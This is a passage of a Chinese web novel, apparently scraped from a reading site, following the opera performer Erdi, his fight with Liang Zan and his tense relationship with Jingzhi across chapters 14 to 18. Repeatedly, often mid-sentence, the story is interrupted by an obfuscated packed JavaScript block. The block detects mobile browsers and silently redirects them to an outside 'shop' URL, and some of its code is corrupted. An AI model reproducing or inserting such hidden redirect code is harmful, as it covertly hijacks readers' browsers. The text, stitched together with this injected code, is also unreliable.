这一下仿佛被打了脸,梁赞当即捏着拳头挺身而出,咬牙切齿道: “好,今天我要好好教训教训你!” 听到这话,静之气性也上来了,一大早就来闹事,要不要脸啊? 她狠狠剜了一眼梁赞后脑勺,默不作声从他身后悄悄走了过去,然后迅速挡在二娣身前。 张了张嘴,正想骂人,一把蒲扇轻轻搭着她的肩将她拂到一边。 “甭理他~” 二娣并未看她,只是转身又面对着乐班说:“我们排戏吧。” 乐班众人暗暗对了个眼色,皆抿嘴一笑。 下一秒,鼓声响,锣一敲,唢呐紧随其后,欢快激昂的节奏配合着二娣的讥讽戏词奏得飞起。 二娣掐腰直指梁赞,婉转戏腔悠然入耳:“你人品实太差~~” 梁赞见他竟还有心情唱戏,恼羞成怒,捏紧拳头当即攻了过去。 随着越发急促的鼓点跟锣响,两人贴身的一瞬间迅速过了两招,你来我挡。 还未行过第三招,二娣就用一个短桥手卸掉了他的力量,然后猛地一掌推出,梁赞瞬间被击飞出去,落入人群之中,连带着他身后的几个狗腿子也被迫后退了几步。 静之瞧着不由有些咂舌,阿风这辈子身手还是蛮好的嘛。 还没来得及多做思考,娣又一个掐腰,娇柔地捏起一个翘起小指的拳头,唱道: “不打他不怕~~” 此时,身后的乐班非常有默契,鼓点渐渐慢了下来,而二胡却拉得悠扬动听。 她捂着嘴,眉眼弯弯想着,二娣和这帮乐班的老头子都是妙人啊,竟把梁赞当成戏子一般戏耍,这不得把他气到肝爆。 果然,梁赞借力推开他身后惶恐不安的通财站稳身子,脸上开始变得狰狞,他咬着牙又攻了上去,气急败坏之人破绽何其多,更别说他就这点子三脚猫功夫。 二娣仅用一只手与他过招,便能跟他打得你来我往。 梁赞怒发冲冠,他出招更为迅速,却渐渐失了节奏。 二娣瞅准时机,用力一扯他手臂,梁赞猝不及防被扯了个趔趄,向前来到二娣身侧,他瞬间懵住,正暗自思忖这是什么招数的时候,啪的一声,一个巴掌瞬间落到他脸上。 还未来得及发怒,后脑勺又被扇子扇了下,娣优雅一个转身,瞬间又是一个巴掌直接把他扇回人群里,边打,还边气人似的唱着: “弹呀,弹呀,弹到出神入化~” “当心我一招半式,你就随之落马~” “噗~” 静之实在憋不住,看着蜷着腿半蹲在地上,捏着兰花指摆着戏姿的二娣,噗呲一声笑了出来。 随即遭到二娣一个横眼,静之轻咳了两声,指了指梁赞,又揉了揉笑到酸痛的脸解释: “我不是笑你,我笑他。” “……” 梁赞不知是不是被扇昏了头,他竟然也开始唱起来了,直把静之惊得瞪大了双眼。 静之:这么会唱,要不来戏班子上班算了。 这时的她还未想到,她又又又一语成谶了。 “笑话,笑话,再多点也未怕!” “查实你说打架这玩意儿阿叔的确是专家!” “噗!!” 双押,好啊好啊。 这时静之恨不得手边有碟瓜子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086468|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 二娣这次却并未理她了,他被梁赞烦得不行,又唱道: “又刮一巴掌,又跌一下,阿叔一生气,你就完全不能招架~” 戏腔起,动作随之践行,一个巴掌,直把梁赞打得歪过头去,又趁他懵着,手上一个寸劲直击他胸口,梁赞瞬间飞出两米远。 声音娇柔,动作却是干净利索,静之忍不住拍掌叫好。 这声儿却引来梁赞一个恶狠狠的怒视,静之可没在怕的,当下便腰一叉,以更凶的表情瞪了回去。 她又暗戳戳放出一点灵兽的威压直逼梁赞,直把他震退了两步,心中暗忖,这人可真是个愣头青,都被人这样奚落了,还不走?! 赞大惊失色,心里却狂敲警铃,知道眼前这女子不好惹,于是便把怒火对准看起来更娇的二娣,他边讽刺唱着,还边学二娣扭屁股的样子,妄图激怒他: “你身形似娇娃——” 娣确实怒了,他下意识几个小碎步疾走到赞面前,伞柄直指他鼻间:“我等于你妈妈~” 静之笑意凝固在嘴角。 不知为何,此时她脑子里突然想起,阿风当初在健身房里对那个壮汉说的——“法你妈。” 还未思量几分,鼓点越发急促,眼前二人边唱边打,转眼间已过了数十招。 静之边看边觉出味儿来了,二娣这是在让着他吧,招招卸力,虽打了他几个巴掌,但只是梁赞自己嘴贱才讨得个皮痛。 实际二娣他并未真正亮出杀招,他这辈子可真是……依旧嘴毒心软呢。 一个恍神,梁赞又被娣擒住了,娣一个擒拿手死死压着他,另一手握着扇柄挑起梁赞下巴: 这章没有结束,请点击下一页继续阅读! 第14章 嘲她,也嘲他自己。 梁赞刚扎完马步,通财就腆着个大脸过来:“少爷,你扎的马步真好看!” 二娣冷哼一声:“可惜中看不中用。” 梁赞正被狗腿子捧得爽着呢,二娣的话仿佛利剑一般扎到他心窝上,气得他率先一拳扬了出去。 这次二娣没有在让着他了,躲开拳头后,他主动进攻,边轻松躲开梁赞的花拳绣腿,边一拳攮在他腹部,梁赞节节败退,眼里满是不可置信,没过几招,娣两掌合并向他胸口猛一发力,梁赞重重摔倒在地。 静之看得不由皱起了眉头。 二娣这是怎么了? 怎么突然下手这么重了,那梁赞都吐血了。 梁赞咬着染血的牙,硬是没有哀嚎出声,通财却急了,他冲了过去,嘴里不住叫着少爷,又一边扶着他往后退,一脸哀求看着二娣。 二娣不为所动,只是冷冷瞥他二人一眼:“哼,我还没出真力呢。” 通财看了看主子嘴角的血迹,又哀怨瞅一眼二娣:“没出真力,我们少爷已经出血了。” “你的功夫实在太差了。” “我,我不信邪!!”梁赞怒吼着,一转身,一个鞭腿直抽二娣脑门,二娣后仰躲过,两人过了不到几招,梁赞便被二娣一个撩脚,整个身子腾空飞起,然后又重重摔倒在地。 双重打击,更为致命。 那一刻,他的自尊,他的面子,仿佛也被一并摔了个稀碎,他盯着红色地毯上的血迹,脑子里全是刚刚二娣说过的话。 难道…通财竟真的在骗他?! “你还是回去多学几年吧,还不赶紧走。”静之站了出来,抱着胸,冷冷地看着他。 愣头青! 还不走,怕是会被突然反常的二娣打死哦。 “梁二娣,你……” 梁赞捂着闷痛的胸口欲言又止。 二娣拂开静之,走到他跟前冷言冷语:“怎么,还不服?” 赞却是没有再发怒了,而是泄了气一般,垂头说: “我想你老实告诉我,我的功夫是不是真的很差?” 二娣还未说话呢,静之悄悄捏住他袖子,从他身后伸头出来: “你都被打成这样了,你还没反应过来啊?” 二娣眼神一变,“啪”的一声,下意识一巴掌抽到静之手上,又回头瞪了她一眼,这才转头看向梁赞: “不错,你的功夫,根本连基础都没有打好。” 刚想上前一步解释,他发现袖子又被一只小手扯住了,他眉心一皱,使了点力道抽出袖子,又向前走了两步,远离她,这才接着说道: “任何一个会功夫的人,都可以把你打倒。” 梁赞眼里的光瞬间熄灭,脸色歘的一下就白了个彻底,给通财心疼得不行,少爷是他看着长大的,二十几年一直都意气风发,哪里有过现在这副挫败的样子。 他一慌,就冲到二娣面前,咬牙切齿说着:“你胡说!” 他又回过头对梁赞急急解释:“少爷,你千万别信他!” “啪!” 下一秒,一个巴掌扇到通财脸上。 通财气极,又冲向二娣妄图讨个说法,静之一个箭步上前,就把他推到一边,却是不敢再凑到二娣跟前,只是后退两步眼巴巴看着他。 娣觑她一眼,不知为何,心情更不好了,他冷哼一声,斜眼瞧着梁赞,说出的话越发戳人心肺: “你的师父, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086469|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定是吃你的,住你的,每个月拿你的钱,每次都输给你。” 梁赞一惊:“你怎么知道?” “凡是有头脑的人都知道,只有你才这么笨。” 静之指了指自己脑袋,忍不住吐槽一句。 仿佛接受不了这个事实,梁赞从戏台上一跃而下,冲到外头去。 他那些个一开始叫嚣着要讨个说法的狐朋狗友,也你推我挤,恨不得多长条腿,讪讪逃了出去。 直到梁赞跑出布棚,静之才反应过来,她还没找他要簪子呢。 她瞄了一眼离她好几米远的二娣,清了清嗓子,有些急切地说: “我有点事先出去一下,你……” 见他冷冷瞥了过来,静之突然失语。 他既然不想让她靠近,那她的簪子…还是要拿回来的。 她垂下眸子,抿着嘴,摸着火辣辣的手背,躲过二娣的眼神,快步循着梁赞离去的方向跑去。 棚内。 二娣看着她的背影许久,突然呲笑一声,接着缓缓走到乐班台前,那台沿放着各色水壶,一盏小巧的褐色茶壶并不起眼,却牢牢抓住他的视线,那是他的。 里面的茶水,却不属于他。 二娣捧起已然冰凉的小茶壶,将壶身慢慢倾斜,一条水线呈弧形直击地面,溅起水花无数,被茶水揉成的泥点子甚至有几滴崩到了他黑色的鞋面上,他并未后退。 只是慢慢将余下的半壶茶水一点点倒尽,看着地上混合着泥巴的茶水,他又笑了一声。 不过都是些……嫌贫爱富之人罢了。 他闭了闭眼,这才悠悠地看着安静如鸡的众人一眼: “……排戏吧。” 第15章 磨人的二娣 中午,戏刚排完,正放饭。 戏台后是化妆间,穿过化妆间是他们睡觉的地方,往右一拐是饭堂,皆围得严实,夏季空气有些沉闷,忙出一头汗的武生和小生们更愿意在宽阔通风的戏台下面,随便拉条凳子坐着吃,也有不拘小节的,便直接坐在两侧的楼梯上狼吞虎咽着。 女眷则规规矩矩坐在饭堂,三三两两吃着。 此时化妆间里,只有二娣跟班主,他们面前打了三份饭菜,班主今天休沐,算了一早上的账,中午索性也把饭端来这里,边吃边看着账本。 他夹一口菜,却发现盘里的菜几乎没怎么动过,班主有些疑惑。 于是放下左手的账册朝二娣看去,却发现他吃得极慢,且只吃白饭,菜也很少夹。 他咀嚼几下,吞下嘴里的饭菜,才仔细打量二娣的脸色说着: “不舒服啊?是不是早上打架哮喘复发了?” 二娣深吸一口气,回过神来,摒掉那些杂思,朝他笑了笑: “没事,吃饭吧。” 边说着,他终于夹了口菜,开始加快进食速度。 班主有些摸不着头脑,但他忙着呢,于是也没多关注,又边吃边拿账本算了起来。 这时,一阵轻快的脚步声伴随着悦耳的叮铃声从他们身后传来,二娣夹菜的手指一顿,仿佛泄愤似的,筷尖一拐,猛猛夹了一大筷子肉。 “哗。”布帘被掀开。 “吃着呢。” 二人闻声抬头望去。 是静之,是笑嘻嘻的静之。 她手里拿着一个包裹,此时笑眯了眼,脸凑近班主说: “给我留饭了吗?不好意思,回来晚了。” 班主看了她手里的包裹一眼,以为她又去买东西了,也没在意,只是指了指桌上未动过的一份饭菜,调侃道: “留着呢,今天这菜还是你提回来的,不给你这个大功臣留一份怎么行?” 静之一手抱着包袱一手挠头: “嘿嘿,那我先把东西放下就出来吃。” “嗯,去吧。” 班主挥了挥账本,又埋头吃了一口饭,二娣全程无言,只是默默吃着饭,速度越来越快。 静之奇怪的看了他一眼,便走到后面棚子把东西放好,这才又回到桌前。 一时三人无言,桌前只有碗筷相击的轻微叮呤声,和班主不时翻页的哗啦声。 空气安静得有些诡异,静之挪了挪屁股,悄悄瞄了快吃完的二娣一眼,她深吸一口气,夹起一筷子青菜放到他碗里,对他笑得灿烂: “吃点青菜,对身体好。” 二娣筷子一顿,班主却是尬笑一声: “二娣他不爱吃菜,喏,今天中午有小炒黄牛肉……” 话未尽,他却把那碟子牛肉往静之跟前推了推,又对她暗暗使了个眼色。 静之看着那碟牛肉却是愣了,她喃喃道: “你不是不吃牛肉的吗?” 二娣平静无波的眼神突然转冷: “……我吃。” “……” 看着他一丝皱纹都无的脸,静之有些怔愣。 是哦,他这辈子不是个道士了。 看他脸色不太对,静之筷尖一转又给他夹了片牛肉: “那你吃。” “……要吃我会自己夹。”他边说边吃着,很快便吃完碗里的饭菜。 他从怀里掏出手帕轻轻擦了擦嘴,朝班主说: “我去休息会儿。” 说完,站起身来,也不看二人一眼,便自顾自撩起帘子走人。 静之瞧一眼他的饭碗,吃得很干净,菜也吃了,就是独独留下那块她夹的牛肉。 “……” 她狐疑地看了一眼班主。 班主尴尬一笑,也有些摸不着头脑: “也许是他刚刚吃多了肉,饱了吧。” “……” 里屋。 二娣穿过走廊,经过静之的小床,刚要转身入屏风后,余光却看到那床上的包裹,布结打得粗糙,半散不散的。 他停在静之小床的床脚,伫立几秒,鬼使神差的伸出两根手指缓缓掀开一角,看清里面的东西时,他又迅速盖了回去,力道有些大,发簪滑落一点出来,他却未曾再看一眼。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086470|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是紧抿着嘴,快速回到他的卧榻上,平躺着,缓缓闭上眼睛。 良久,他又呲笑一声。 簪子,乃定情之物,不过半日光景,他们竟已经走到这一步了吗? 正想着,外面突然又传来熟悉的声音。 “静之啊,我特意多给你打了份肉,多吃点,看你瘦的。” 二娣有些愣神,这声音…是阿桂。 他默默转过身去,背对着屏风,耳朵却不由自主竖了起来。 “……这里有,不用了,你自己吃吧,还有,不用对我抱有幻想,我有喜欢的人了。” 阿桂手中的筷子哐的一声掉到桌上,他面色难看至极,端着那碟子牛肉快步走了出去。 班主一脸八卦: “静之啊,你喜欢哪个后生,俊不俊啊,都没听你说过呢。” 静之笑了笑: “我喜欢的那个人啊,俊得很 ,身手也好。” 里头的二娣暗暗撇嘴。 梁赞那三脚猫功夫她竟也能看得上? 真是…目光短浅。 他清了清嗓子: “阳光正好,把我的被子拿出去晒一晒。” 静之愣了一下,她回头看着里屋门口那道蓝色的布帘,仿佛要看到里头去: “……现在?我正吃着呢。” “去不去?” 他的声音有些低沉,静之无端听出几分冷意,她眼皮耷拉下来,眼里直泛起一阵水雾。 她死死扣着头,闭眼缓了几秒,才慢慢站起身来。 刚要进去,袖子却被班主扯住,她扯了扯嘴角: “……我没事,晒完被子回来再吃也行。” 这时,里头又说话了: “晒完被子,再帮我打桶热水,早上打了一架,我要洗个澡。” 班主拍桌而起: “二娣,你!” 静之拉着欲冲进屋里的他,缓缓摇了摇头: “都是小事,你吃饭吧,我也吃饱了。” 说完,她冷着脸便转身进里屋了。 班主看了那碗刚动几口的饭,无奈地叹了口气。 第16章 黑暗中的视力 静之深吸一口气,缓缓走进内屋,抬眼便望见那屏风上搭着一条深蓝色的被子。 她不禁心头一紧,难道他就连看自己一眼都不肯吗? 静之站在原地,努力深呼吸以平复内心翻涌的情绪。 而此时,二娣再次发话:“再不去,太阳就要落山了。” 静之翻腾的泪意在顷刻间收敛起来,取而代之的是一股突然从心口迸发的怒气。 她冷冷地朝着屏风说道: “你不必如此,无论怎样,我都绝不会离开戏班!” 说完,她用力扯下那床被子,屏风摇晃了几下,但最终还是稳稳地立住了。 沉默片刻后,他终于开口:“……随便你。”声音冷漠而坚定。 这一次,静之是真的对二娣感到愤怒。 她冷哼一声,用力地掀开帘子,头也不回地走了出去。 那帘子被掀起时,竟然高高地飞起来,直接挂在了一侧挂着灯笼的钩子上。 透亮的光线瞬间洒满了整个房间,但二娣的心中却充满了阴霾。 他开始对自己感到困惑,那个姑娘仅仅和他相识一天多,为什么会让他产生如此复杂的情感? ..... 接下来的一个多月里,两人每次见面皆是冷着脸,也可以说,是静之冷着脸,二娣则是一脸复杂与深思,反正是谁也不理睬谁。 静之每天白天都会认真完成自己的工作,空闲时还会去厨房帮忙。 到了晚上,她不再偷懒睡觉,而是趁大家都熟睡的时候,悄悄地跑到人烟稀少的河边打坐修炼。 该说不说,这个世界的阿风虽然有些烦人,但是空气是真好,灵气也比90年的港区多多了。 但是也没多到哪儿去,这里毕竟是闹市附近,她不识路,这里也没有GPS,她也不敢跑得太远。 所以一个多月了,她的修为毫无寸进,只是体内的灵力又多了一些,但她并未留着自己用,而是每每吸收一点灵气,就进入识海传输给金童的魂珠。 如今,他的魂珠已经能够微微泛起一点亮光了,这也算是静之这一个多月以来,唯一的一点慰藉。 …… 这天,她修炼完,已是三更时候。 她借着微弱的月光,顺着常走的那条小巷前行。 天气依旧炎热,这里靠着河边,平常这个时候总会有些蛙叫蝉鸣,今晚却是莫名的安静,风偏大,卷着地上的几根枯枝烂叶一路往前滚着。 静之耳畔突然听到前方多了一道呼吸声。 她心里一紧,这个世界…应该没有鬼这种东西吧。 她几乎是屏着呼吸,又放轻脚步,贴着墙侧慢慢走着,边走还不时回头张望一下。 大约离那道呼吸还有几米远的距离,来到一个交叉巷口处,她默默停了下来闪身进了右侧巷口,因为前方来人了。 来了三个人。 中间一人穿着暗红色绣金丝线的袍子,长相周正,手里滚着两个玛瑙手球,五个手指都戴着各色的宝石戒指,一看就非富即贵。 左右两个随从穿着一样的黑色褂子,左边那个剔着金钱鼠尾辫,右边那个却是两侧剃光,中间留了一撮头发直扎脑后。 三人迎面大步走来,她左前方那道呼吸却突然动了,一个带着草帽的男子,突然冲了出来,挡住三人去路。 静之不禁有些疑惑,这是……寻仇啊?还是怎么回事? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086471|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她就走神了那么一小会儿,那两人就你来我往打起来了,两个随从站在一旁,也不帮忙。 这是干嘛呢,大半夜比武啊? 静之有些摸不着头脑,但是她依旧屏住呼吸不敢放松。 因为那两个随从呼吸沉稳,目光如炬,太阳穴鼓动着,走路也寂静无声,一看就是高手。 如果她不用灵力的话,肯定是打不过的。 她的眼神落在那比武的二人身上,静之突然发现那草帽男子左手怪异扭曲着,只用右手与那公子爷交手,她眼尖的发现那右手的指关节竟布满了老茧。 哇,练功这么勤奋,一定是个身手极好的练家子吧? 正当她这样想着,那男子却突然被那公子爷一脚撩翻在地,眼瞅着那爷扭着他那只手就要将其掰断,静之瞳孔一缩,下意识地捡起地上的石子,就朝那公子爷的手腕丢了过去。 “嗖——” 一声破空声传来,一随从迅速飞身上前,贴着公子爷的手腕瞬间接住石子。 他警惕地观察四周,厉声斥道: “什么人?!” 就在这时哀嚎声起,那戴草帽的男子手还是被废了,此时两手皆扭曲着,满头冷汗,疼得在地上打滚。 静之缓缓站了出来,眉头拧得都快打结了,对着那公子爷说: “我说小哥,比武就比武,没必要这么赶尽杀绝吧。” 声音娇软悦耳。 天空中的乌云逐渐散开,光线变得明亮起来,月光洒落在她身上,白衣胜雪,一头白发用一根淡粉色丝带挽起一半,两缕稍短的鬓发随风轻轻拂过她的脸颊,宛如神女降临人间。 这章没有结束,请点击下一页继续阅读! 第17章 莫名的氛围 今夜,有人睡得喷香,有人一宿了都没睡着,直到天蒙蒙亮,二娣才眯了会儿。 外面的小床突然吱呀一声,吓得他困顿的眼皮瞬间睁开,眼睛瞪得像铜铃,被子下的身子紧绷着,放于腹间的手也一下就紧紧拽住了被子。 外头的阳光透过竹编的墙围洒了一点进室内,把屏风照得有些半透明,他的视线鬼使神差落在她的背影上。 她坐起身子了。 她穿鞋了。 她,她过来了?!! 哦……她走出去了。 二娣此时五味杂陈,只觉得脑子里一团纷乱,理了半宿硬是没理出个头绪。 一宿没睡,头脑也有些发胀,气得他蹬了一脚被子,也吱呀一声翻身坐起。 “梁老板,这么早就醒啦?”一小伙听到声音,转头朝他的方向瞧了一下。 “……” 二娣莫名觉得有些难堪,又默默躺了回去。 正当那小伙以为他又睡了的时候,二娣黑着脸,一手背在身后,一手捧着空空如也的小茶壶,从屏风里走了出来。 路过他身边的时候,二娣才从喉间低低的“嗯”了一声。 小伙躺在床上,头却不由自主跟随着那抹白色背影转动。 梁老板这是…没睡好,有起床气啦? 还有,他今天的唇色好像有些红呢,看着不像没睡好的样子啊? …… 二娣端着小茶壶走到饭厅,迎面就碰上早起做饭的周婶。 “梁老板?这么早就起啊,我刚开始做饭呢,要不你坐着等会儿?” 二娣抬了抬手中的茶壶示意: “不用了,有热水吗?我泡壶茶水。” 周婶把沾水的手往身上的围裙擦了擦,又一脸疑惑看着那眼熟的小茶壶: “静之没帮你泡啊?她之前不是说她买了新茶叶,要给你尝尝鲜的吗?” “……” 二娣看着周婶揶揄的眼神,只觉得股股血液直往脸上冲,手指磨蹭着那冰凉的紫砂壶身,心里莫名怅然。 见他立在那里,也不说话,就看着茶壶沉思,周婶不知想到什么,突然尴尬一笑: “有热水有热水,我去给你倒。” 二娣却是转身又走了出去,背着身子,挺直了腰杆说了句: “不用了。” 一早上不喝茶,又死不了人。 …… 戏班的早晨同样热闹,戏台上阿桂拿着红缨枪正和小武行套着动作,左边的花旦正咿咿呀呀吊着嗓子,右边的乐班倒是没有那么齐,只有鼓手跟二胡手坐在离地一米多高的侧台上。 二胡手叫老杨,他琴弓一停,手轻捂着还在微微颤抖的琴弦,皱眉看台下站着的人: “二娣啊,你今早嗓子怎么了?要不要喝点水?” “……我没事,接着来。” 话音刚落,静之一手挎着个菜篮子,一手挽着周婶的胳膊从戏台一角走了出来。 老杨抬头一看,当即笑得满脸褶子: “静之啊,又跟周婶出去买菜呀?” 静之瞎胡咧咧的身世背景早就传遍戏班,她手脚又勤快,嘴还甜。 对这个年少就白头的姑娘,大家伙儿的眼里总是带上几分怜惜。 “是啊杨叔,你起得可真早,等会去菜市场我给你带点烟叶啊?” 静之仿佛没有看到二娣,微扬起头看着侧台上的老杨笑得眉眼弯弯。 “那感情好,你怎么知道我快用完了?”不知为何,老杨偷瞄了一眼底下的二娣。 “我数着时间的嘛,你三天就叫周婶去捎一次的。” “那就多谢了,回来我再给你钱。” “小事!走啦!” 说罢,她径直穿过二娣身侧,朝外头走去。 直到入口处的竹帘落下,老杨才收回眼神,脸上依旧是笑么呵的表情。 “来吧,排戏吧。”他咧着嘴,将琴弓又搭在弦上。 二娣拳头攥得死紧,前进一步,拿起台沿空荡荡的小茶壶转身就走: “我去倒点水。” 老杨愣愣地看了两眼他的背影,有些摸不着头脑,不过拉半天他也累了,于是俯下身子将他的水杯拿了起来,杯盖一掀,一股茶香扑鼻而来,他吹去冲上来的烟雾,美滋滋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086472|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅酌了一口,鼓手当即把脸凑了过来,鼻头轻嗅。 “静之也给你泡啦?” 老杨朝他翻了个白眼: “跟你没有似的。” 鼓手嘿嘿一笑,也俯下身拿起自己的水杯喝了起来。 鼓手边喝边感叹: “静之这姑娘看着大大咧咧,可是细心的很呐,你说梁老板是不是跟她有仇啊,这一个月把人家指使得团团转,他对我们可不这样的。” 老杨又饮了一口,这才慢悠悠说着: “谁知道呢。” “诶,你说我有机会不,要不她怎么给我泡茶喝?” “……嘁,你个没皮没脸的,都五十八了还想娶娇妻?” “嘿,就想想嘛。” …… 晚上六七点的样子,天色暗了下来,外面已经开始唱戏了。 静之不想见到二娣,于 是便独自一人,点着灯,蹲在后厨择豆角呢。 就在这时,周婶一脸八卦的从前厅走了过来。 她怼了怼静之的肩膀小声说: “诶,静之,明天再干,你猜我刚刚看到了什么?” 静之手指轻轻一择,豆角断了,豆子倒是蹦到地上了,她弯腰捡起豆子用手指摁了摁。 嗯,她买菜的功力大有长进,看,到现在还脆生着呢,多新鲜。 她满不在意说着,手上动作不停: “看到什么了?” 周婶夸张的张开双臂圈了个大圆说: “这么多的礼物,就堆在化妆间呢,好像是上回那个来踢馆子的梁赞带来的,哦对了,随行的还有个老头子,穿金戴银的,看起来可真气派!” “梁赞?”她不由皱起了眉头。 那小子还没长教训呢,还敢来? “诶诶,你去哪儿?” “……我去看看。” “这菜?” “我择好了。” 周婶低头一看,那豆角就跟拿尺子量过的一样,长短一致,满满一盆放在她脚边的小凳子上。 她不由心中感叹,静之这活儿可真是做得越来越漂亮了。 第18章 她说讨厌他 还未挑起化妆间的帘子,静之就听到里头传来二娣的声音,外头乐班已然开始奏响乐曲,但她依旧听得分明。 “梁翁,请你把礼物全都带回去。” 她偷摸挑起帘子一角往里看,却一眼就望进二娣眼里。 二娣今夜依旧唱女旦,一身打着补丁的黑色衣服,头戴青色头巾,已经穿戴完毕,脸上亦是粉面桃妆。 他却没有像以前那样抛个眉眼,打趣一下静之了,而是清了清嗓子,快速把眼神挪开,坐了下来。 静之轻哼一声:不看就不看,那我也不看你! 他耳尖动了动,眼神极为快速黯淡了一瞬,又抬起头面无表情看着眼前三人。 那梁翁不知为何,突然一脸谄媚笑: “梁师父,犬子很仰慕梁师父的功夫,希望你不咎既往,收他为徒。” 话一出口,直挺挺站着的梁赞一撩下袍,急不可耐,一曲膝就要给二娣跪下。 二娣又暗暗看了静之一眼,迅速伸出脚背顶住梁赞双膝,将他扶起。 他扯了扯嘴角说: “少爷~我没本事收你为徒。” 他负于身后的那只手渐渐握紧,莫名的,他不想让梁赞进他的戏班子。 “师……谢谢你提醒我,不然的话,我还蒙在鼓里呢。”赞一脸尴尬和悔悟。 二娣冷冷地看着他: “你谢也谢完了,我要上场了。” 说罢,一个转身,就慢慢走了出去。 梁赞不死心又追了上去扯住二娣袖子: “梁师父,求你收我!” 说话声渐远,静之左右打量了一下,随意拿起一旁的戏服就往身上披,边披边撩起帘子往里头走。 通财瞪大了眼睛: “你,你不是那个?” 静之觑了他一眼,又扣上脖间的盘扣: “看什么看,忙死了忙死了!快到我上场了。” 她边说着边快速尾随上去。 通财挠着头,愣愣的看着她的背影,心想着,她还没化妆呢,这就要上去演了? 这么草率的吗? 眼神突然落在她身后飘扬的发丝上,通财瞳孔一缩,“妖女”两个字含在嘴里差点脱口而出。 她,她,她应该不是吧? 这一个多月以来,也没听说有妖害人,那妖应该…走了吧? …… …… 二娣余光瞄到身后那道熟悉的身影,他暗哼一声,人家才刚来,她就这么急不可耐地凑上前来,是要投怀送抱吗? 那……昨晚的那一吻,到底又算什么? 他斜了满脸忐忑的梁赞一眼,嘴巴越发毒辣: “我的功夫,不会教给你们这种纨绔子弟拿出去招摇的。” 梁赞穿梭过人群,紧紧跟在他身后,完全没有注意到后面还有个小尾巴,他捏紧拳头,振臂一挥,以明决心: “我决定痛改前非,勤习武功!” 二娣冷哼一声: “等你学成以后又固态复萌,那时候我也拿你没办……” 刚一回过头,见到静之身上穿的衣服,他突然失语。 ……那是他上次穿的那套戏服。 不知为何,二娣觉得浑身不自在,他动了动肩膀,又扭了扭脖子,也没敢看她,扭头快步就走了出去。 静之: ……长虱子了?扭来扭去的,哼! 梁赞见他走得越发快了,赶紧一路小跑跟了上去: “你相信我,我可以发——” 还未说完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086473|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一抬头,二娣已然莲步轻移,走到了舞台上,一个扭腰摆手,就开始唱戏。 梁赞正垂头丧气,眼巴巴看着外头的二娣呢,从后面赶上来的梁翁,疑惑地看了旁边的静之一眼,又赶紧凑到他独子身旁,一脸疼惜: “孩子,先回去吧。” “我,我不走,你先回去!” “先回去再说吧,啊?” 梁赞头未回,却是转身一个推搡,梁翁年岁已大,一个踉跄,眼瞅着就要摔倒,静之上前一步稳住他的身子,这才后退一步站好: “你怎么回事,他是你b……你爹,能不能尊老爱幼啊?” 